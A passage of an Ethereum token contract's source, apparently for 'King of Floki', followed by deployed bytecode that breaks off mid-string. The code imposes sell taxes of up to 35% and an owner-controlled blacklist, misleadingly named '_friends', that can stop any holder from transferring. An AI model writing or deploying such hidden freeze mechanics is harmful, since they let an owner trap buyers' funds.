event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_marketingFixedWalletAddress = marketingFixedWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
_isExcludedFromFee[marketingFixedWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_friends[from] && !_friends[to]);
if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
_friends[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
_friends[to] = true;
}
}
if(!trader[msg.sender].exists) {
trader[msg.sender] = User(0,0,0,0,true);
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if(block.timestamp > trader[to].lastBuy + (30 minutes)) {
trader[to].buynumber = 0;
}
if (trader[to].buynumber == 0) {
trader[to].buynumber++;
_taxFee = 5;
_teamFee = 5;
} else if (trader[to].buynumber == 1) {
trader[to].buynumber++;
_taxFee = 4;
_teamFee = 4;
} else if (trader[to].buynumber == 2) {
trader[to].buynumber++;
_taxFee = 3;
_teamFee = 3;
} else if (trader[to].buynumber == 3) {
trader[to].buynumber++;
_taxFee = 2;
_teamFee = 2;
} else {
//fallback
_taxFee = 5;
_teamFee = 5;
}
trader[to].lastBuy = block.timestamp;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired.");
trader[to].buyCD = block.timestamp + (45 seconds);
}
trader[to].sellCD = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired.");
}
uint256 total = 35;
if(block.timestamp > trader[from].lastBuy + (3 hours)) {
total = 10;
} else if (block.timestamp > trader[from].lastBuy + (1 hours)) {
total = 15;
} else if (block.timestamp > trader[from].lastBuy + (30 minutes)) {
total = 20;
} else if (block.timestamp > trader[from].lastBuy + (5 minutes)) {
total = 25;
} else {
//fallback
total = 35;
}
_taxFee = (total.mul(4)).div(10);
_teamFee = (total.mul(6)).div(10);
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(4));
_marketingFixedWalletAddress.transfer(amount.div(4));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
launchBlock = block.number;
}
function setFriends(address[] memory friends) public onlyOwner {
for (uint i = 0; i < friends.length; i++) {
if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) {
_friends[friends[i]] = true;
}
}
}
function delFriend(address notfriend) public onlyOwner {
_friends[notfriend] = false;
}
function isFriend(address ad) public view returns (bool) {
return _friends[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - trader[buyer].buyCD;
}
// might return outdated counter if more than 30 mins
function buyTax(address buyer) public view returns (uint) {
return ((5 - trader[buyer].buynumber).mul(2));
}
function sellTax(address ad) public view returns (uint) {
if(block.timestamp > trader[ad].lastBuy + (3 hours)) {
return 10;
} else if (block.timestamp > trader[ad].lastBuy + (1 hours)) {
return 15;
} else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) {
return 20;
} else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) {
return 25;
} else {
return 35;
}
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613eae565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de919061396f565b610662565b6040516101f09190613e93565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614090565b60405180910390f35b34801561023057600080fd5b5061024b6004803603810190610246919061391c565b610691565b6040516102589190613e93565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614090565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae9190614105565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613a52565b610783565b005b3480156102ec57600080fd5b50610307600480360381019061030291906139f8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b9190613882565b61095f565b60405161033d9190614090565b60405180910390f35b34801561035257600080fd5b5061036d60048036038101906103689190613882565b610aeb565b60405161037a9190613e93565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190613882565b610b41565b6040516103b79190614090565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190613882565b610c0a565b60405161040b9190614090565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613dc5565b60405180910390f35b34801561046257600080fd5b5061047d60048036038101906104789190613882565b610dd7565b60405161048a9190614090565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613eae565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e0919061396f565b610e7f565b6040516104f29190613e93565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613e93565b60405180910390f35b34801561053257600080fd5b5061054d600480360381019061054891906139af565b610eb2565b005b34801561055b57600080fd5b506105646110c2565b005b34801561057257600080fd5b5061057b61113c565b005b34801561058957600080fd5b50610592611208565b60405161059f9190614090565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca9190613882565b61123a565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906138dc565b61132a565b6040516106059190614090565b60405180910390f35b34801561061a57600080fd5b506106236113b1565b005b60606040518060400160405280600d81526020017f4b696e67206f6620466c6f6b6900000000000000000000000000000000000000815250905090565b600061067661066f6118c3565b84846118cb565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611a96565b61075f846106aa6118c3565b61075a856040518060600160405280602881526020016148aa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107106118c3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b6b9092919063ffffffff16565b6118cb565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c46118c3565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90613f70565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614090565b60405180910390a150565b6108726118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690613fd0565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613e93565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b191906141c6565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a1191906141c6565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a7191906141c6565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad191906141c6565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b9191906142a7565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd96118c3565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612bcf565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d46565b9050919050565b610c636118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790613fd0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d91906142a7565b612db490919063ffffffff16565b9050919050565b60606040518060400160405280600881526020017f204b464c4f4b4920000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c6118c3565b8484611a96565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba6118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90613fd0565b60405180910390fd5b60005b81518110156110be57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f9f57610f9e61444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156110335750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106110125761101161444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156110ab576001600660008484815181106110515761105061444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806110b6906143a6565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111036118c3565b73ffffffffffffffffffffffffffffffffffffffff161461112357600080fd5b600061112e30610c0a565b905061113981612e2f565b50565b6111446118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c890613fd0565b60405180910390fd5b6001601560146101000a81548160ff0219169083151502179055506078426111f991906141c6565b60178190555043601681905550565b6000611235601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112426118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c690613fd0565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113b96118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143d90613fd0565b60405180910390fd5b601560149054906101000a900460ff1615611496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148d90614050565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061152630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006118cb565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561156c57600080fd5b505afa158015611580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a491906138af565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561160657600080fd5b505afa15801561161a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163e91906138af565b6040518363ffffffff1660e01b815260040161165b929190613de0565b602060405180830381600087803b15801561167557600080fd5b505af1158015611689573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ad91906138af565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061173630610c0a565b600080611741610dae565b426040518863ffffffff1660e01b815260040161176396959493929190613e32565b6060604051808303818588803b15801561177c57600080fd5b505af1158015611790573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117b59190613a7f565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161186d929190613e09565b602060405180830381600087803b15801561188757600080fd5b505af115801561189b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118bf9190613a25565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561193b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193290614030565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a290613f10565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a899190614090565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afd90614010565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6d90613ed0565b60405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb090613ff0565b60405180910390fd5b611bc1610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612aa857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cd85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ce157600080fd5b6001601654611cf091906141c6565b4311158015611d00575060105481145b15611f1f57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611db15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e13576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f1e565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611ebf5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f1d576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661202c576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120d75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561212d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156126b557601560149054906101000a900460ff16612181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217890614070565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546121d191906141c6565b421115612221576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156122d957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906122bf906143a6565b91905055506005600a819055506005600b81905550612515565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561239157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003016000815480929190612377906143a6565b91905055506004600a819055506004600b81905550612514565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561244957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061242f906143a6565b91905055506003600a819055506003600b81905550612513565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561250157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124e7906143a6565b91905055506002600a819055506002600b81905550612512565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff16156126b4574260175411156126605760105481111561258857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061260c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260390613f30565b60405180910390fd5b602d4261261991906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f4261266d91906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b60006126c030610c0a565b9050601560169054906101000a900460ff1615801561272d5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127455750601560149054906101000a900460ff165b15612aa65760158054906101000a900460ff16156127e25742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154106127e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d890613f90565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461283891906141c6565b42111561284857600a9050612970565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461289891906141c6565b4211156128a857600f905061296f565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128f891906141c6565b421115612908576014905061296e565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461295891906141c6565b421115612968576019905061296d565b602390505b5b5b5b612997600a612989600484612db490919063ffffffff16565b6130b790919063ffffffff16565b600a819055506129c4600a6129b6600684612db490919063ffffffff16565b6130b790919063ffffffff16565b600b819055506000821115612a8b57612a256064612a17600c54612a09601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c